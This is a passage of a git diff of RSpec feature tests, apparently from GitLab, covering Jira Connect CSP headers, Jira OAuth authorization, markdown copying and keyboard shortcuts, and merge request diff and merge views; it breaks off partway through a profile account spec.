index 00000000000..9be6b7c67ee
--- /dev/null
+++ b/spec/features/jira_connect/subscriptions_spec.rb
@@ -0,0 +1,47 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe 'Subscriptions Content Security Policy' do
+ let(:installation) { create(:jira_connect_installation) }
+ let(:qsh) { Atlassian::Jwt.create_query_string_hash('https://gitlab.test/subscriptions', 'GET', 'https://gitlab.test') }
+ let(:jwt) { Atlassian::Jwt.encode({ iss: installation.client_key, qsh: qsh }, installation.shared_secret) }
+
+ subject { response_headers['Content-Security-Policy'] }
+
+ context 'when there is no global config' do
+ before do
+ expect_next_instance_of(JiraConnect::SubscriptionsController) do |controller|
+ expect(controller).to receive(:current_content_security_policy)
+ .and_return(ActionDispatch::ContentSecurityPolicy.new)
+ end
+ end
+
+ it 'does not add CSP directives' do
+ visit jira_connect_subscriptions_path(jwt: jwt)
+
+ is_expected.to be_blank
+ end
+ end
+
+ context 'when a global CSP config exists' do
+ before do
+ csp = ActionDispatch::ContentSecurityPolicy.new do |p|
+ p.script_src :self, 'https://some-cdn.test'
+ p.style_src :self, 'https://some-cdn.test'
+ end
+
+ expect_next_instance_of(JiraConnect::SubscriptionsController) do |controller|
+ expect(controller).to receive(:current_content_security_policy).and_return(csp)
+ end
+ end
+
+ it 'appends to CSP directives' do
+ visit jira_connect_subscriptions_path(jwt: jwt)
+
+ is_expected.to include("frame-ancestors 'self' https://*.atlassian.net")
+ is_expected.to include("script-src 'self' https://some-cdn.test https://connect-cdn.atl-paas.net https://unpkg.com/jquery@3.3.1/")
+ is_expected.to include("style-src 'self' https://some-cdn.test 'unsafe-inline' https://unpkg.com/@atlaskit/")
+ end
+ end
+end
diff --git a/spec/features/jira_oauth_provider_authorize_spec.rb b/spec/features/jira_oauth_provider_authorize_spec.rb
new file mode 100644
index 00000000000..daecae56101
--- /dev/null
+++ b/spec/features/jira_oauth_provider_authorize_spec.rb
@@ -0,0 +1,21 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe 'JIRA OAuth Provider' do
+ describe 'JIRA DVCS OAuth Authorization' do
+ let(:application) { create(:oauth_application, redirect_uri: oauth_jira_callback_url, scopes: 'read_user') }
+
+ before do
+ sign_in(user)
+
+ visit oauth_jira_authorize_path(client_id: application.uid,
+ redirect_uri: oauth_jira_callback_url,
+ response_type: 'code',
+ state: 'my_state',
+ scope: 'read_user')
+ end
+
+ it_behaves_like 'Secure OAuth Authorizations'
+ end
+end
diff --git a/spec/features/labels_hierarchy_spec.rb b/spec/features/labels_hierarchy_spec.rb
index 1545cb36e9b..eed9a6d1043 100644
--- a/spec/features/labels_hierarchy_spec.rb
+++ b/spec/features/labels_hierarchy_spec.rb
@@ -42,12 +42,12 @@ RSpec.describe 'Labels Hierarchy', :js do
it 'does not find child group labels on dropdown' do
page.within('.block.labels') do
- find('.edit-link').click
- end
+ click_on 'Edit'
- wait_for_requests
+ wait_for_requests
- expect(page).not_to have_selector('.badge', text: child_group_label.title)
+ expect(page).not_to have_text(child_group_label.title)
+ end
end
end
@@ -296,6 +296,7 @@ RSpec.describe 'Labels Hierarchy', :js do
let(:board) { create(:board, group: parent) }
before do
+ stub_feature_flags(graphql_board_lists: false)
parent.add_developer(user)
visit group_board_path(parent, board)
find('.js-new-board-list').click
diff --git a/spec/features/markdown/copy_as_gfm_spec.rb b/spec/features/markdown/copy_as_gfm_spec.rb
index 57362ed2d54..fbf4e531db1 100644
--- a/spec/features/markdown/copy_as_gfm_spec.rb
+++ b/spec/features/markdown/copy_as_gfm_spec.rb
@@ -30,13 +30,11 @@ RSpec.describe 'Copy as GFM', :js do
it 'works', :aggregate_failures do
verify(
'nesting',
-
'> 1. [x] **[$`2 + 2`$ {-=-}{+=+} 2^2 ~~:thumbsup:~~](http://google.com)**'
)
verify(
'a real world example from the gitlab-ce README',
-
<<~GFM
# GitLab
@@ -103,19 +101,16 @@ RSpec.describe 'Copy as GFM', :js do
verify(
'InlineDiffFilter',
-
'{-Deleted text-}',
'{+Added text+}'
)
verify(
'TaskListFilter',
-
<<~GFM,
* [ ] Unchecked task
* [x] Checked task
GFM
-
<<~GFM
1. [ ] Unchecked ordered task
1. [x] Checked ordered task
@@ -124,7 +119,6 @@ RSpec.describe 'Copy as GFM', :js do
verify(
'ReferenceFilter',
-
# issue reference
@feat.issue.to_reference,
# full issue reference
@@ -141,13 +135,11 @@ RSpec.describe 'Copy as GFM', :js do
verify(
'AutolinkFilter',
-
'https://example.com'
)
verify(
'TableOfContentsFilter',
-
<<~GFM,
[[_TOC_]]
@@ -155,64 +147,53 @@ RSpec.describe 'Copy as GFM', :js do
## Heading 2
GFM
-
pipeline: :wiki,
wiki: @project.wiki
)
verify(
'EmojiFilter',
-
':thumbsup:'
)
verify(
'ImageLinkFilter',
-
'![Image](https://example.com/image.png)'
)
verify_media_with_partial_path(
'[test.txt](/uploads/a123/image.txt)',
-
project_media_uri(@project, '/uploads/a123/image.txt')
)
verify_media_with_partial_path(
'![Image](/uploads/a123/image.png)',
-
project_media_uri(@project, '/uploads/a123/image.png')
)
verify(
'VideoLinkFilter',
-
'![Video](https://example.com/video.mp4)'
)
verify_media_with_partial_path(
'![Video](/uploads/a123/video.mp4)',
-
project_media_uri(@project, '/uploads/a123/video.mp4')
)
verify(
'AudioLinkFilter',
-
'![Audio](https://example.com/audio.wav)'
)
verify_media_with_partial_path(
'![Audio](/uploads/a123/audio.wav)',
-
project_media_uri(@project, '/uploads/a123/audio.wav')
)
verify(
'MathFilter: math as converted from GFM to HTML',
-
'$`c = \pm\sqrt{a^2 + b^2}`$',
-
# math block
<<~GFM
```math
@@ -334,7 +315,6 @@ RSpec.describe 'Copy as GFM', :js do
verify(
'MermaidFilter: mermaid as converted from GFM to HTML',
-
<<~GFM
```mermaid
graph TD;
@@ -429,7 +409,6 @@ RSpec.describe 'Copy as GFM', :js do
verify(
'SuggestionFilter: suggestion as converted from GFM to HTML',
-
<<~GFM
```suggestion
New
@@ -491,7 +470,6 @@ RSpec.describe 'Copy as GFM', :js do
verify(
'SanitizationFilter',
-
<<~GFM
<sub>sub</sub>
@@ -527,13 +505,11 @@ RSpec.describe 'Copy as GFM', :js do
verify(
'SanitizationFilter',
-
<<~GFM,
```
Plain text
```
GFM
-
<<~GFM,
```ruby
def foo
@@ -541,7 +517,6 @@ RSpec.describe 'Copy as GFM', :js do
end
```
GFM
-
<<~GFM
Foo
@@ -553,27 +528,19 @@ RSpec.describe 'Copy as GFM', :js do
verify(
'MarkdownFilter',
-
"Line with two spaces at the end \nto insert a linebreak",
-
'`code`',
'`` code with ` ticks ``',
-
'> Quote',
-
# multiline quote
<<~GFM,
> Multiline Quote
>
> With multiple paragraphs
GFM
-
'![Image](https://example.com/image.png)',
-
'# Heading with no anchor link',
-
'[Link](https://example.com)',
-
<<~GFM,
* List item
* List item 2
@@ -598,7 +565,6 @@ RSpec.describe 'Copy as GFM', :js do
> Blockquote
GFM
-
<<~GFM,
1. Ordered list item
1. Ordered list item 2
@@ -623,22 +589,16 @@ RSpec.describe 'Copy as GFM', :js do
---
GFM
-
'# Heading',
'## Heading',
'### Heading',
'#### Heading',
'##### Heading',
'###### Heading',
-
'**Bold**',
-
'*Italics*',
-
'~~Strikethrough~~',
-
'---',
-
# table
<<~GFM,
| Centered | Right | Left |
@@ -696,9 +656,7 @@ RSpec.describe 'Copy as GFM', :js do
it 'copies as inline code' do
verify(
'[id="2f6fcd96b88b36ce98c38da085c795a27d92a3dd_10_9"] .line .no',
-
'`RuntimeError`',
-
target: '[id="2f6fcd96b88b36ce98c38da085c795a27d92a3dd_10_9"]'
)
end
@@ -708,9 +666,7 @@ RSpec.describe 'Copy as GFM', :js do
it 'copies as inline code' do
verify(
'[id="2f6fcd96b88b36ce98c38da085c795a27d92a3dd_10_9"]',
-
'`raise RuntimeError, "System commands must be given as an array of strings"`',
-
target: '[id="2f6fcd96b88b36ce98c38da085c795a27d92a3dd_10_9"]'
)
end
@@ -720,14 +676,12 @@ RSpec.describe 'Copy as GFM', :js do
it 'copies as a code block' do
verify(
'[id="2f6fcd96b88b36ce98c38da085c795a27d92a3dd_10_9"], [id="2f6fcd96b88b36ce98c38da085c795a27d92a3dd_10_10"]',
-
<<~GFM,
```ruby
raise RuntimeError, "System commands must be given as an array of strings"
end
```
GFM
-
target: '[id="2f6fcd96b88b36ce98c38da085c795a27d92a3dd_10_9"]'
)
end
@@ -755,7 +709,6 @@ RSpec.describe 'Copy as GFM', :js do
it 'copies as a code block' do
verify(
'[id="2f6fcd96b88b36ce98c38da085c795a27d92a3dd_8_8"], [id="2f6fcd96b88b36ce98c38da085c795a27d92a3dd_9_9"], [id="2f6fcd96b88b36ce98c38da085c795a27d92a3dd_10_9"], [id="2f6fcd96b88b36ce98c38da085c795a27d92a3dd_10_10"]',
-
<<~GFM,
```ruby
unless cmd.is_a?(Array)
@@ -763,7 +716,6 @@ RSpec.describe 'Copy as GFM', :js do
end
```
GFM
-
target: '[id="2f6fcd96b88b36ce98c38da085c795a27d92a3dd_8_8"].left-side'
)
end
@@ -773,7 +725,6 @@ RSpec.describe 'Copy as GFM', :js do
it 'copies as a code block' do
verify(
'[id="2f6fcd96b88b36ce98c38da085c795a27d92a3dd_8_8"], [id="2f6fcd96b88b36ce98c38da085c795a27d92a3dd_9_9"], [id="2f6fcd96b88b36ce98c38da085c795a27d92a3dd_10_9"], [id="2f6fcd96b88b36ce98c38da085c795a27d92a3dd_10_10"]',
-
<<~GFM,
```ruby
unless cmd.is_a?(Array)
@@ -781,7 +732,6 @@ RSpec.describe 'Copy as GFM', :js do
end
```
GFM
-
target: '[id="2f6fcd96b88b36ce98c38da085c795a27d92a3dd_8_8"].right-side'
)
end
@@ -799,7 +749,6 @@ RSpec.describe 'Copy as GFM', :js do
it 'copies as inline code' do
verify(
'.line[id="LC9"] .no',
-
'`RuntimeError`'
)
end
@@ -809,7 +758,6 @@ RSpec.describe 'Copy as GFM', :js do
it 'copies as inline code' do
verify(
'.line[id="LC9"]',
-
'`raise RuntimeError, "System commands must be given as an array of strings"`'
)
end
@@ -819,7 +767,6 @@ RSpec.describe 'Copy as GFM', :js do
it 'copies as a code block' do
verify(
'.line[id="LC9"], .line[id="LC10"]',
-
<<~GFM
```ruby
raise RuntimeError, "System commands must be given as an array of strings"
@@ -841,7 +788,6 @@ RSpec.describe 'Copy as GFM', :js do
it 'copies as inline code' do
verify(
'.line[id="LC27"] .nl',
-
'`"bio"`'
)
end
@@ -851,7 +797,6 @@ RSpec.describe 'Copy as GFM', :js do
it 'copies as inline code' do
verify(
'.line[id="LC27"]',
-
'`"bio": null,`'
)
end
@@ -861,7 +806,6 @@ RSpec.describe 'Copy as GFM', :js do
it 'copies as a code block with the correct language' do
verify(
'.line[id="LC27"], .line[id="LC28"]',
-
<<~GFM
```json
"bio": null,
diff --git a/spec/features/markdown/keyboard_shortcuts_spec.rb b/spec/features/markdown/keyboard_shortcuts_spec.rb
new file mode 100644
index 00000000000..81b1928658c
--- /dev/null
+++ b/spec/features/markdown/keyboard_shortcuts_spec.rb
@@ -0,0 +1,119 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe 'Markdown keyboard shortcuts', :js do
+ let_it_be(:project) { create(:project, :repository) }
+ let_it_be(:user) { create(:user) }
+
+ let(:is_mac) { page.evaluate_script('navigator.platform').include?('Mac') }
+ let(:modifier_key) { is_mac ? :command : :control }
+ let(:other_modifier_key) { is_mac ? :control : :command }
+
+ before do
+ project.add_developer(user)
+
+ gitlab_sign_in(user)
+
+ visit path_to_visit
+
+ wait_for_requests
+ end
+
+ shared_examples 'keyboard shortcuts' do
+ it 'bolds text when <modifier>+B is pressed' do
+ type_and_select('bold')
+
+ markdown_field.send_keys([modifier_key, 'b'])
+
+ expect(markdown_field.value).to eq('**bold**')
+ end
+
+ it 'italicizes text when <modifier>+I is pressed' do
+ type_and_select('italic')
+
+ markdown_field.send_keys([modifier_key, 'i'])
+
+ expect(markdown_field.value).to eq('_italic_')
+ end
+
+ it 'links text when <modifier>+K is pressed' do
+ type_and_select('link')
+
+ markdown_field.send_keys([modifier_key, 'k'])
+
+ expect(markdown_field.value).to eq('[link](url)')
+
+ # Type some more text to ensure the cursor
+ # and selection are set correctly
+ markdown_field.send_keys('https://example.com')
+
+ expect(markdown_field.value).to eq('[link](https://example.com)')
+ end
+
+ it 'does not affect non-markdown fields on the same page' do
+ non_markdown_field.send_keys('some text')
+
+ non_markdown_field.send_keys([modifier_key, 'b'])
+
+ expect(focused_element).to eq(non_markdown_field.native)
+ expect(markdown_field.value).to eq('')
+ end
+ end
+
+ shared_examples 'no side effects' do
+ it 'does not bold text when <other modifier>+B is pressed' do
+ type_and_select('bold')
+
+ markdown_field.send_keys([@other_modifier_key, 'b'])
+
+ expect(markdown_field.value).not_to eq('**bold**')
+ end
+
+ it 'does not italicize text when <other modifier>+I is pressed' do
+ type_and_select('italic')
+
+ markdown_field.send_keys([@other_modifier_key, 'i'])
+
+ expect(markdown_field.value).not_to eq('_italic_')
+ end
+
+ it 'does not link text when <other modifier>+K is pressed' do
+ type_and_select('link')
+
+ markdown_field.send_keys([@other_modifier_key, 'k'])
+
+ expect(markdown_field.value).not_to eq('[link](url)')
+ end
+ end
+
+ context 'Vue.js markdown editor' do
+ let(:path_to_visit) { new_project_release_path(project) }
+ let(:markdown_field) { find_field('Release notes') }
+ let(:non_markdown_field) { find_field('Release title') }
+
+ it_behaves_like 'keyboard shortcuts'
+ it_behaves_like 'no side effects'
+ end
+
+ context 'Haml markdown editor' do
+ let(:path_to_visit) { new_project_issue_path(project) }
+ let(:markdown_field) { find_field('Description') }
+ let(:non_markdown_field) { find_field('Title') }
+
+ it_behaves_like 'keyboard shortcuts'
+ it_behaves_like 'no side effects'
+ end
+
+ def type_and_select(text)
+ markdown_field.send_keys(text)
+
+ text.length.times do
+ markdown_field.send_keys([:shift, :arrow_left])
+ end
+ end
+
+ def focused_element
+ page.driver.browser.switch_to.active_element
+ end
+end
diff --git a/spec/features/markdown/markdown_spec.rb b/spec/features/markdown/markdown_spec.rb
index d9d3f566bce..151ef76e884 100644
--- a/spec/features/markdown/markdown_spec.rb
+++ b/spec/features/markdown/markdown_spec.rb
@@ -247,6 +247,7 @@ RSpec.describe 'GitLab Markdown', :aggregate_failures do
expect(doc).to reference_commits
expect(doc).to reference_labels
expect(doc).to reference_milestones
+ expect(doc).to reference_alerts
end
aggregate_failures 'TaskListFilter' do
diff --git a/spec/features/markdown/mermaid_spec.rb b/spec/features/markdown/mermaid_spec.rb
index 256dfdc26e9..bdb549326fa 100644
--- a/spec/features/markdown/mermaid_spec.rb
+++ b/spec/features/markdown/mermaid_spec.rb
@@ -44,7 +44,7 @@ RSpec.describe 'Mermaid rendering', :js do
expect(page.html.scan(expected).count).to be(4)
end
- it 'renders only 2 Mermaid blocks and ', :js do
+ it 'renders only 2 Mermaid blocks and ', :js, quarantine: { issue: 'https://gitlab.com/gitlab-org/gitlab/-/issues/234081' } do
description = <<~MERMAID
```mermaid
graph LR
diff --git a/spec/features/merge_request/batch_comments_spec.rb b/spec/features/merge_request/batch_comments_spec.rb
index 60671213d75..40f6482c948 100644
--- a/spec/features/merge_request/batch_comments_spec.rb
+++ b/spec/features/merge_request/batch_comments_spec.rb
@@ -20,8 +20,6 @@ RSpec.describe 'Merge request > Batch comments', :js do
context 'Feature is enabled' do
before do
- stub_feature_flags(diffs_batch_load: false)
-
visit_diffs
end
diff --git a/spec/features/merge_request/maintainer_edits_fork_spec.rb b/spec/features/merge_request/maintainer_edits_fork_spec.rb
index be12f774c29..0e65cb358da 100644
--- a/spec/features/merge_request/maintainer_edits_fork_spec.rb
+++ b/spec/features/merge_request/maintainer_edits_fork_spec.rb
@@ -20,8 +20,6 @@ RSpec.describe 'a maintainer edits files on a source-branch of an MR from a fork
end
before do
- stub_feature_flags(single_mr_diff_view: false)
-
target_project.add_maintainer(user)
sign_in(user)
diff --git a/spec/features/merge_request/user_accepts_merge_request_spec.rb b/spec/features/merge_request/user_accepts_merge_request_spec.rb
index d7c9c8bddb1..3d18aef9327 100644
--- a/spec/features/merge_request/user_accepts_merge_request_spec.rb
+++ b/spec/features/merge_request/user_accepts_merge_request_spec.rb
@@ -12,12 +12,38 @@ RSpec.describe 'User accepts a merge request', :js, :sidekiq_might_not_need_inli
sign_in(user)
end
- it 'presents merged merge request content' do
- visit(merge_request_path(merge_request))
+ context 'presents merged merge request content' do
+ it 'when merge method is set to merge commit' do
+ visit(merge_request_path(merge_request))
+
+ click_button('Merge')
+
+ expect(page).to have_content("The changes were merged into #{merge_request.target_branch} with #{merge_request.short_merged_commit_sha}")
+ end
+
+ context 'when merge method is set to fast-forward merge' do
+ let(:project) { create(:project, :public, :repository, merge_requests_ff_only_enabled: true) }
+
+ it 'accepts a merge request with rebase and merge' do
+ merge_request = create(:merge_request, :rebased, source_project: project)
+
+ visit(merge_request_path(merge_request))
- click_button('Merge')
+ click_button('Merge')
- expect(page).to have_content("The changes were merged into #{merge_request.target_branch} with #{merge_request.short_merge_commit_sha}")
+ expect(page).to have_content("The changes were merged into #{merge_request.target_branch} with #{merge_request.short_merged_commit_sha}")
+ end
+
+ it 'accepts a merge request with squash and merge' do
+ merge_request = create(:merge_request, :rebased, source_project: project, squash: true)
+
+ visit(merge_request_path(merge_request))
+
+ click_button('Merge')
+
+ expect(page).to have_content("The changes were merged into #{merge_request.target_branch} with #{merge_request.short_merged_commit_sha}")
+ end
+ end
end
context 'with removing the source branch' do
diff --git a/spec/features/merge_request/user_assigns_themselves_spec.rb b/spec/features/merge_request/user_assigns_themselves_spec.rb
index b6cd97dcc5a..04d401683bf 100644
--- a/spec/features/merge_request/user_assigns_themselves_spec.rb
+++ b/spec/features/merge_request/user_assigns_themselves_spec.rb
@@ -21,6 +21,15 @@ RSpec.describe 'Merge request > User assigns themselves' do
expect(page).to have_content '2 issues have been assigned to you'
end
+ it 'updates updated_by', :js do
+ expect do
+ click_button 'assign yourself'
+
+ expect(find('.assignee')).to have_content(user.name)
+ wait_for_all_requests
+ end.to change { merge_request.reload.updated_at }
+ end
+
it 'returns user to the merge request', :js do
click_link 'Assign yourself to these issues'
diff --git a/spec/features/merge_request/user_edits_mr_spec.rb b/spec/features/merge_request/user_edits_mr_spec.rb
index 2c949ed84f4..397ca70f4a1 100644
--- a/spec/features/merge_request/user_edits_mr_spec.rb
+++ b/spec/features/merge_request/user_edits_mr_spec.rb
@@ -20,4 +20,32 @@ RSpec.describe 'Merge request > User edits MR' do
include_context 'merge request edit context'
it_behaves_like 'an editable merge request'
end
+
+ context 'when merge_request_reviewers is turned on' do
+ before do
+ stub_feature_flags(merge_request_reviewers: true)
+ end
+
+ context 'non-fork merge request' do
+ include_context 'merge request edit context'
+ it_behaves_like 'an editable merge request with reviewers'
+ end
+
+ context 'for a forked project' do
+ let(:source_project) { fork_project(target_project, nil, repository: true) }
+
+ include_context 'merge request edit context'
+ it_behaves_like 'an editable merge request with reviewers'
+ end
+ end
+
+ context 'when merge_request_reviewers is turned off' do
+ before do
+ stub_feature_flags(merge_request_reviewers: false)
+ end
+
+ it 'does not render reviewers dropdown' do
+ expect(page).not_to have_selector('.js-reviewer-search')
+ end
+ end
end
diff --git a/spec/features/merge_request/user_expands_diff_spec.rb b/spec/features/merge_request/user_expands_diff_spec.rb
index d3867a91846..0e39cce13a1 100644
--- a/spec/features/merge_request/user_expands_diff_spec.rb
+++ b/spec/features/merge_request/user_expands_diff_spec.rb
@@ -7,23 +7,18 @@ RSpec.describe 'User expands diff', :js do
let(:merge_request) { create(:merge_request, source_branch: 'expand-collapse-files', source_project: project, target_project: project) }
before do
- stub_feature_flags(diffs_batch_load: false)
-
- allow(Gitlab::Git::Diff).to receive(:size_limit).and_return(100.kilobytes)
- allow(Gitlab::Git::Diff).to receive(:collapse_limit).and_return(10.kilobytes)
-
visit(diffs_project_merge_request_path(project, merge_request))
wait_for_requests
end
it 'allows user to expand diff' do
- page.within find('[id="6eb14e00385d2fb284765eb1cd8d420d33d63fc9"]') do
- click_link 'Click to expand it.'
+ page.within find('[id="19763941ab80e8c09871c0a425f0560d9053bcb3"]') do
+ find('[data-testid="expandButton"]').click
wait_for_requests
- expect(page).not_to have_content('Click to expand it.')
+ expect(page).not_to have_content('Expand File')
expect(page).to have_selector('.code')
end
end
diff --git a/spec/features/merge_request/user_interacts_with_batched_mr_diffs_spec.rb b/spec/features/merge_request/user_interacts_with_batched_mr_diffs_spec.rb
index 1a7baff2fb1..782a7e3bfb6 100644
--- a/spec/features/merge_request/user_interacts_with_batched_mr_diffs_spec.rb
+++ b/spec/features/merge_request/user_interacts_with_batched_mr_diffs_spec.rb
@@ -10,9 +10,6 @@ RSpec.describe 'Batch diffs', :js do
let(:merge_request) { create(:merge_request, source_project: project, source_branch: 'master', target_branch: 'empty-branch') }
before do
- stub_feature_flags(single_mr_diff_view: project)
- stub_feature_flags(diffs_batch_load: true)
-
sign_in(project.owner)
visit diffs_project_merge_request_path(merge_request.project, merge_request)
diff --git a/spec/features/merge_request/user_posts_notes_spec.rb b/spec/features/merge_request/user_posts_notes_spec.rb
index 4c079b98c90..489582521b5 100644
--- a/spec/features/merge_request/user_posts_notes_spec.rb
+++ b/spec/features/merge_request/user_posts_notes_spec.rb
@@ -82,7 +82,7 @@ RSpec.describe 'Merge request > User posts notes', :js do
it 'shows a reply button' do
reply_button = find('.js-reply-button', match: :first)
- expect(reply_button).to have_selector('.ic-comment')
+ expect(reply_button).to have_selector('[data-testid="comment-icon"]')
end
it 'shows reply placeholder when clicking reply button' do
diff --git a/spec/features/merge_request/user_resolves_diff_notes_and_discussions_resolve_spec.rb b/spec/features/merge_request/user_resolves_diff_notes_and_discussions_resolve_spec.rb
index f2adfd21e49..cd06886169d 100644
--- a/spec/features/merge_request/user_resolves_diff_notes_and_discussions_resolve_spec.rb
+++ b/spec/features/merge_request/user_resolves_diff_notes_and_discussions_resolve_spec.rb
@@ -15,10 +15,6 @@ RSpec.describe 'Merge request > User resolves diff notes and threads', :js do
diff_refs: merge_request.diff_refs)
end
- before do
- stub_feature_flags(diffs_batch_load: false)
- end
-
context 'no threads' do
before do
project.add_maintainer(user)
diff --git a/spec/features/merge_request/user_sees_avatar_on_diff_notes_spec.rb b/spec/features/merge_request/user_sees_avatar_on_diff_notes_spec.rb
index 7fad805866b..d15d5b3bc73 100644
--- a/spec/features/merge_request/user_sees_avatar_on_diff_notes_spec.rb
+++ b/spec/features/merge_request/user_sees_avatar_on_diff_notes_spec.rb
@@ -20,7 +20,6 @@ RSpec.describe 'Merge request > User sees avatars on diff notes', :js do
let!(:note) { create(:diff_note_on_merge_request, project: project, noteable: merge_request, position: position) }
before do
- stub_feature_flags(diffs_batch_load: false)
project.add_maintainer(user)
sign_in user
diff --git a/spec/features/merge_request/user_sees_diff_spec.rb b/spec/features/merge_request/user_sees_diff_spec.rb
index d067fc0ada4..7a3a14e61e3 100644
--- a/spec/features/merge_request/user_sees_diff_spec.rb
+++ b/spec/features/merge_request/user_sees_diff_spec.rb
@@ -9,10 +9,6 @@ RSpec.describe 'Merge request > User sees diff', :js do
let(:project) { create(:project, :public, :repository) }
let(:merge_request) { create(:merge_request, source_project: project) }
- before do
- stub_feature_flags(diffs_batch_load: false)
- end
-
context 'when linking to note' do
describe 'with unresolved note' do
let(:note) { create :diff_note_on_merge_request, project: project, noteable: merge_request }
@@ -72,7 +68,7 @@ RSpec.describe 'Merge request > User sees diff', :js do
end
context 'as user who needs to fork' do
- it 'shows fork/cancel confirmation', :sidekiq_might_not_need_inline, quarantine: 'https://gitlab.com/gitlab-org/gitlab/-/issues/196749' do
+ it 'shows fork/cancel confirmation', :sidekiq_might_not_need_inline do
sign_in(user)
visit diffs_project_merge_request_path(project, merge_request)
@@ -97,7 +93,7 @@ RSpec.describe 'Merge request > User sees diff', :js do
let c = 3;
let d = 3;
}
- CONTENT
+ CONTENT
new_file_content =
<<~CONTENT
@@ -107,7 +103,7 @@ RSpec.describe 'Merge request > User sees diff', :js do
let c = 3;
let x = 3;
}
- CONTENT
+ CONTENT
file_name = 'xss_file.rs'
diff --git a/spec/features/merge_request/user_sees_merge_widget_spec.rb b/spec/features/merge_request/user_sees_merge_widget_spec.rb
index c7d26dfc814..93fea44707c 100644
--- a/spec/features/merge_request/user_sees_merge_widget_spec.rb
+++ b/spec/features/merge_request/user_sees_merge_widget_spec.rb
@@ -127,8 +127,10 @@ RSpec.describe 'Merge request > User sees merge widget', :js do
end
end
- context 'when merge request is in the blocked pipeline state' do
+ context 'when merge request is in the blocked pipeline state and pipeline must succeed' do
before do
+ project.update_attribute(:only_allow_merge_if_pipeline_succeeds, true)
+
create(
:ci_pipeline,
project: project,
diff --git a/spec/features/merge_request/user_sees_pipelines_spec.rb b/spec/features/merge_request/user_sees_pipelines_spec.rb
index 5d41e49c478..8e15ba6cf8d 100644
--- a/spec/features/merge_request/user_sees_pipelines_spec.rb
+++ b/spec/features/merge_request/user_sees_pipelines_spec.rb
@@ -123,6 +123,10 @@ RSpec.describe 'Merge request > User sees pipelines', :js do
context 'when actor is a developer in parent project' do
let(:actor) { developer_in_parent }
+ before do
+ stub_feature_flags(ci_disallow_to_create_merge_request_pipelines_in_target_project: false)
+ end
+
it 'creates a pipeline in the parent project when user proceeds with the warning' do
visit project_merge_request_path(parent_project, merge_request)
diff --git a/spec/features/merge_request/user_sees_versions_spec.rb b/spec/features/merge_request/user_sees_versions_spec.rb
index 60e054ddbee..fb616ceae9d 100644
--- a/spec/features/merge_request/user_sees_versions_spec.rb
+++ b/spec/features/merge_request/user_sees_versions_spec.rb
@@ -17,8 +17,6 @@ RSpec.describe 'Merge request > User sees versions', :js do
let!(:params) { {} }
before do
- stub_feature_flags(diffs_batch_load: false)
-
project.add_maintainer(user)
sign_in(user)
visit diffs_project_merge_request_path(project, merge_request, params)
diff --git a/spec/features/merge_request/user_views_auto_expanding_diff_spec.rb b/spec/features/merge_request/user_views_auto_expanding_diff_spec.rb
index 20a5910e66d..1748f66c934 100644
--- a/spec/features/merge_request/user_views_auto_expanding_diff_spec.rb
+++ b/spec/features/merge_request/user_views_auto_expanding_diff_spec.rb
@@ -11,9 +11,6 @@ RSpec.describe 'User views diffs file-by-file', :js do
let(:user) { create(:user, view_diffs_file_by_file: true) }
before do
- allow(Gitlab::Git::Diff).to receive(:size_limit).and_return(100.kilobytes)
- allow(Gitlab::Git::Diff).to receive(:collapse_limit).and_return(10.kilobytes)
-
project.add_developer(user)
sign_in(user)
@@ -27,9 +24,10 @@ RSpec.describe 'User views diffs file-by-file', :js do
page.within('#diffs') do
expect(page).not_to have_content('This diff is collapsed')
- click_button 'Next'
+ find('.page-link.next-page-item').click
expect(page).not_to have_content('This diff is collapsed')
+ expect(page).to have_selector('.diff-file .file-title', text: 'large_diff_renamed.md')
end
end
end
diff --git a/spec/features/merge_request/user_views_diffs_file_by_file_spec.rb b/spec/features/merge_request/user_views_diffs_file_by_file_spec.rb
index abb313cb529..bb4bf0864c9 100644
--- a/spec/features/merge_request/user_views_diffs_file_by_file_spec.rb
+++ b/spec/features/merge_request/user_views_diffs_file_by_file_spec.rb
@@ -25,7 +25,7 @@ RSpec.describe 'User views diffs file-by-file', :js do
expect(page).to have_selector('.file-holder', count: 1)
expect(page).to have_selector('.diff-file .file-title', text: '.DS_Store')
- click_button 'Next'
+ find('.page-link.next-page-item').click
expect(page).to have_selector('.file-holder', count: 1)
expect(page).to have_selector('.diff-file .file-title', text: '.gitignore')
diff --git a/spec/features/merge_request/user_views_diffs_spec.rb b/spec/features/merge_request/user_views_diffs_spec.rb
index 537c0473fa4..928755bf5de 100644
--- a/spec/features/merge_request/user_views_diffs_spec.rb
+++ b/spec/features/merge_request/user_views_diffs_spec.rb
@@ -11,7 +11,6 @@ RSpec.describe 'User views diffs', :js do
let(:view) { 'inline' }
before do
- stub_feature_flags(diffs_batch_load: false)
visit(diffs_project_merge_request_path(project, merge_request, view: view))
wait_for_requests
@@ -62,7 +61,7 @@ RSpec.describe 'User views diffs', :js do
end
it 'expands all diffs' do
- first('#a5cc2925ca8258af241be7e5b0381edf30266302 .js-file-title').click
+ first('.js-file-title').click
expect(page).to have_button('Expand all')
diff --git a/spec/features/merge_requests/user_views_diffs_commit_spec.rb b/spec/features/merge_requests/user_views_diffs_commit_spec.rb
index fcaabf9b0e7..cf92603972e 100644
--- a/spec/features/merge_requests/user_views_diffs_commit_spec.rb
+++ b/spec/features/merge_requests/user_views_diffs_commit_spec.rb
@@ -10,7 +10,6 @@ RSpec.describe 'User views diff by commit', :js do
let(:project) { create(:project, :public, :repository) }
before do
- stub_feature_flags(diffs_batch_load: false)
visit(diffs_project_merge_request_path(project, merge_request, commit_id: merge_request.diff_head_sha))
end
diff --git a/spec/features/profiles/account_spec.rb b/spec/features/profiles/account_spec.rb
index 620c2f60ba3..e8caa2159a4 100644
--- a/spec/features/profiles/account_spec.rb
+++ b/spec/features/profiles/account_spec.rb
@@ -9,6 +9,39 @@ RSpec.describe 'Profile > Account', :js do
sign_in(user)
end
+ describe 'Social sign-in' do
+ context 'when an identity does not exist' do
+ before do
+ allow(Devise).to receive_messages(omniauth_configs: { google_oauth2: {} })
+ end
+
+ it 'allows the user to connect' do
+ visit profile_account_path
+
+ expect(page).to have_link('Connect Google', href: '/users/auth/google_oauth2')
+ end
+ end
+
+ context 'when an identity already exists' do
+ before do
+ allow(Devise).to receive_messages(omniauth_configs: { twitter: {}, saml: {} })
+
+ create(:identity, user: user, provider: :twitter)
+ create(:identity, user: user, provider: :saml)
+
+ visit profile_account_path
+ end
+
+ it 'allows the user to disconnect when there is an existing identity' do
